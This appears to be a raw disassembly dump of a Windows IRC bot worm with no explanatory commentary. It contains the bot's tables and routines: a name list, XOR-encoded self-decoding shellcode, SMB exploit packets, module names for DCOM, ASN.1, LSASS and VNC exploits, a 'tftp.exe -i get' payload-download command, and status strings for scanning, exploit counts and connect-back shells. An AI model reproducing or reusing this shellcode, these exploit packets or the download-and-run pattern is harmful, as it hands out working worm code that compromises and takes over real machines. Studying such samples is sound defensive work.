aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o
aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o
align 10h
aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo
align 10h
aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o
aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o
align 10h
aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo
align 4
aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o
aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo
align 4
aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o
align 10h
aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo
aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o
align 4
aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o
aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo
align 4
aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o
align 4
aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o
align 4
aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co
align 10h
aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o
align 4
aBook db 'Book',0 ; DATA XREF: ___:0042DB94o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o
align 10h
aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co
align 4
aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o
align 4
aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o
align 4
aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o
aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co
align 10h
aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o
align 4
aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o
align 10h
aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co
aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o
aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o
align 10h
aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co
aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o
align 10h
aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o
align 4
aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o
align 4
aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co
align 4
aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o
aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o
align 10h
aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co
align 4
aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o
aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o
align 4
aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co
align 10h
aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o
align 4
aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o
align 10h
aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o
align 4
aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o
aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o
align 10h
aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo
align 4
aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o
aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o
aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo
align 10h
aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o
aBean db 'Bean',0 ; DATA XREF: ___:0042DAD4o
align 10h
aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo
align 10h
aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o
align 4
aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o
align 10h
aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o
align 10h
aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o
aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co
aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o
aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o
aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o
align 4
aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co
align 10h
aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o
align 4
aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o
align 10h
aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o
align 10h
aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o
aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co
aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o
align 10h
aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o
align 4
aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co
align 4
aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o
aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o
aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co
align 10h
aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o
aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o
align 10h
aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co
align 4
aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o
align 10h
aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o
align 4
aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co
align 10h
aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o
aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o
align 10h
aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co
aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o
align 4
aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo
align 4
aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o
align 10h
aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o
align 4
aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o
align 10h
aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo
align 4
aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o
align 10h
aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo
align 10h
aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o
aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o
align 10h
aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo
aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o
align 10h
aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o
align 10h
aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o
align 10h
aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o
align 10h
aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo
align 4
aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o
aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co
align 4
byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o
; ___:0040ABF3r
db 43h, 2 dup(0)
dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o
dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo
dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o
; sub_41AF8F:loc_41B052o
dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo
dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do
; ___:0040AF89o ...
dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do
; ___:0040AF79o ...
dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o
; ___:0040AF60o ...
dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o
; ___:0040AF50o ...
dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o
; ___:0040AF41o ...
dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o
; ___:0040AF33o ...
dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao
off_43162C dd offset byte_5D4D5B ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 4
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o
align 4
a99 db '99',0 ; DATA XREF: ___:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: ___:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o
; sub_41ADD8+52o
off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o
dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do
dword_431664 dd 34h ; DATA XREF: ___:0040B021o
dword_431668 dd 335053h ; DATA XREF: ___:0040B014o
dword_43166C dd 33h ; DATA XREF: ___:0040B003o
dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o
dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o
; =============== S U B R O U T I N E =======================================
sub_431678 proc near ; DATA XREF: ___:0040AFD8o
push ebx
push eax
xor [eax], eax
sub_431678 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo
dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo
dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------
loc_431688: ; DATA XREF: sub_40B2B3+C4o
jmp short loc_43168C
; ---------------------------------------------------------------------------
loc_43168A: ; CODE XREF: ___:loc_43168Cp
jmp short loc_431691
; ---------------------------------------------------------------------------
loc_43168C: ; CODE XREF: ___:loc_431688j
call loc_43168A
loc_431691: ; CODE XREF: ___:loc_43168Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316A0: ; DATA XREF: sub_40B2B3+A2o
jmp short loc_4316A4
; ---------------------------------------------------------------------------
loc_4316A2: ; CODE XREF: ___:loc_4316A4p
jmp short loc_4316A9
; ---------------------------------------------------------------------------
loc_4316A4: ; CODE XREF: ___:loc_4316A0j
call loc_4316A2
loc_4316A9: ; CODE XREF: ___:loc_4316A2j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_43173C
retn
; ---------------------------------------------------------------------------
byte_43173C db 0E8h ; CODE XREF: ___:00431739j
dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w
byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o
; ___:0040E229o ...
align 4
dd 5 dup(0)
dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r
; sub_401ACD+1D6Ao ...
off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr
dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo
; ___:0040D759w ...
dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr
dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r
dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r
aDcom135 db 'dcom135',0
dd 63440000h, 33316D6Fh, 35h, 5 dup(0)
dd 87h, 40DF4Ch, 0
dd 1, 2 dup(0)
dd 636E76h, 0
dd 6E760000h, 63h, 6 dup(0)
dd 170Ch, 40EC1Fh, 0
dd 2 dup(1), 0
aAsn445 db 'asn445',0
align 4
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D59Dh, 0
dd 2 dup(1), 0
aAsn139 db 'asn139',0
align 4
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D59Dh, 0
dd 2 dup(1), 0
aVncs db 'vncs',0
align 4
dd 54480000h, 562D5054h, 434Eh, 5 dup(0)
dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40E830h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aAsn445_0 db 'asn445',0
align 4
db 2 dup(0)
byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r
; sub_401ACD+1CC6o
aDcom135_0 db 'dcom135',0
align 4
dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_431A06
; =============== S U B R O U T I N E =======================================
sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4319FE: ; CODE XREF: sub_4319F6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4319FE
jmp short loc_431A0B
; ---------------------------------------------------------------------------
loc_431A06: ; CODE XREF: ___:004319F4j
call sub_4319F6
loc_431A0B: ; CODE XREF: sub_4319F6+Ej
jo short near ptr dword_431994+12h
cwde
cdq
cdq
retn
sub_4319F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
align 4
dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o
unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo
dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40BA9E+14o
dd 7473694Ch, 3Ah
unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_30 db ' Failed to start server, error: <%d>.',0
align 4
unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_31 db '- Failed to start server, error: <%d>.',0
unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 10h
unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_32 db 'Failed to start server, error: <%d>.',0
align 4
unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_33 db ' Failed to start server, error: <%d>.',0
align 4
unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40C85F+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o
align 10h
dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao
dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o
dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o
dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
